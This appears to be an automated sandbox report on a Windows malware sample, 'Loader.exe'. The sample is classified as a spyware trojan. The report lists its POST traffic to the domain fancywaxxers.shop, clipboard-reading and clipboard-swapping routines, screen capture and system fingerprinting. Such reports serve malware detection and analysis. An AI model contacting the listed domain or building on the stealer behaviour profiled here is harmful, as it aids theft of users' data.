Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OH8EJ5QTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20512Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TMY17K7WUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1204Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0MBIVEZHVYB9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570460Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: fancywaxxers.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fancywaxxers.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Loader.exe, 00000003.00000003.2336916157.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: Loader.exe, 00000003.00000003.2416587052.0000000002D55000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2389754813.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2375611870.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2352050415.0000000002D55000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2375179400.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2638669692.0000000002D24000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2336916157.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: Loader.exe, 00000003.00000003.2638750413.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2638726873.0000000002D45000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2638570560.0000000002D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api$
Source: Loader.exe, 00000003.00000003.2390068678.0000000002D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api-
Source: Loader.exe, 00000003.00000003.2375109855.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374823477.00000000054CA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374273445.00000000054C6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2389970754.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2390049990.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2389754813.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api1-2
Source: Loader.exe, 00000003.00000003.2389970754.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2390049990.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2389754813.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiMECn
Source: Loader.exe, 00000003.00000003.2389754813.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiNh
Source: Loader.exe, 00000003.00000003.2375109855.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374823477.00000000054CA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374273445.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiSd
Source: Loader.exe, 00000003.00000003.2352050415.0000000002D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api_yU
Source: Loader.exe, 00000003.00000003.2415851140.0000000002D55000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2416587052.0000000002D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/kqu
Source: Loader.exe, 00000003.00000003.2390068678.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/sl
Source: Loader.exe, 00000003.00000003.3047232037.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2337035887.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2421787457.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.3277198269.0000000002CC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api
Source: Loader.exe, 00000003.00000003.2337035887.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api.
Source: Loader.exe, 00000003.00000002.3277198269.0000000002CC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apiMicrosoft
Source: Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49858 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00434280 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00434280

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_052A1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

3_2_052A1000

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00434280 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00434280

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00434460 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00434460

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0032C044	0_2_0032C044
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0033EA4E	0_2_0033EA4E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00333400	0_2_00333400
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_003404C2	0_2_003404C2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0032DDA2	0_2_0032DDA2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0032969B	0_2_0032969B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0032C044	3_2_0032C044
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0033EA4E	3_2_0033EA4E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00333400	3_2_00333400
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_003404C2	3_2_003404C2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0032DDA2	3_2_0032DDA2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0032969B	3_2_0032969B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043D050	3_2_0043D050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042207D	3_2_0042207D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00439800	3_2_00439800
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00441900	3_2_00441900
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00411920	3_2_00411920
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042DA21	3_2_0042DA21
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00414A9A	3_2_00414A9A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00439B30	3_2_00439B30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00426B80	3_2_00426B80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00420DD0	3_2_00420DD0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040CEC7	3_2_0040CEC7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00422F70	3_2_00422F70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043F73E	3_2_0043F73E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440FD0	3_2_00440FD0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040FFD6	3_2_0040FFD6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004087B0	3_2_004087B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00427050	3_2_00427050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440065	3_2_00440065
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00434060	3_2_00434060
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00427879	3_2_00427879
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00418816	3_2_00418816
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041D020	3_2_0041D020
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00422830	3_2_00422830
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040C8E5	3_2_0040C8E5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440880	3_2_00440880
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040A8B0	3_2_0040A8B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00405910	3_2_00405910
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00416914	3_2_00416914
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00403920	3_2_00403920
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041D920	3_2_0041D920
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440920	3_2_00440920
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040B132	3_2_0040B132
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00420130	3_2_00420130
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004191C0	3_2_004191C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004359C5	3_2_004359C5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004371FD	3_2_004371FD
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00421980	3_2_00421980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043D9A0	3_2_0043D9A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004381AC	3_2_004381AC
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004409B0	3_2_004409B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00438A55	3_2_00438A55
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00427A6E	3_2_00427A6E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040F27E	3_2_0040F27E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00406200	3_2_00406200
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00415A05	3_2_00415A05
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00418A30	3_2_00418A30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00439230	3_2_00439230
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00415A05	3_2_00415A05
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004042D0	3_2_004042D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004162D2	3_2_004162D2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00423AE0	3_2_00423AE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00429AFE	3_2_00429AFE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041AA81	3_2_0041AA81
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004262A0	3_2_004262A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00437AA0	3_2_00437AA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004092B0	3_2_004092B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004412B0	3_2_004412B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041EB50	3_2_0041EB50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00402B70	3_2_00402B70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040A312	3_2_0040A312
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004183FA	3_2_004183FA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041A3B0	3_2_0041A3B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00430C5A	3_2_00430C5A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00407470	3_2_00407470
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00423C70	3_2_00423C70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043AC70	3_2_0043AC70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00410C79	3_2_00410C79
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00404C10	3_2_00404C10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041D430	3_2_0041D430
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004114CB	3_2_004114CB
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004354B7	3_2_004354B7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041CD40	3_2_0041CD40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043ED4D	3_2_0043ED4D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00413D50	3_2_00413D50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004415C0	3_2_004415C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041BDD0	3_2_0041BDD0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00429DF0	3_2_00429DF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043059D	3_2_0043059D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043AE47	3_2_0043AE47
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00405E60	3_2_00405E60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00423E62	3_2_00423E62
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043A660	3_2_0043A660
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00416E62	3_2_00416E62
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00418E1C	3_2_00418E1C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042D6D6	3_2_0042D6D6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440680	3_2_00440680
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00406690	3_2_00406690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041A690	3_2_0041A690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004096B0	3_2_004096B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440770	3_2_00440770
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043E776	3_2_0043E776
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00402F10	3_2_00402F10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00439710	3_2_00439710
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004237C0	3_2_004237C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00438FD0	3_2_00438FD0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042BFB4	3_2_0042BFB4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00417FBC	3_2_00417FBC

Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00413D40 appears 72 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00329BB0 appears 94 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00407FD0 appears 51 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 003366CD appears 34 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00331CE8 appears 42 times

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Loader.exe	Static PE information: Section: .BSS ZLIB complexity 1.000337734502447
Source: Loader.exe	Static PE information: Section: .BSS ZLIB complexity 1.000337734502447

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00439B30 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00439B30

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6604:120:WilError_03

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

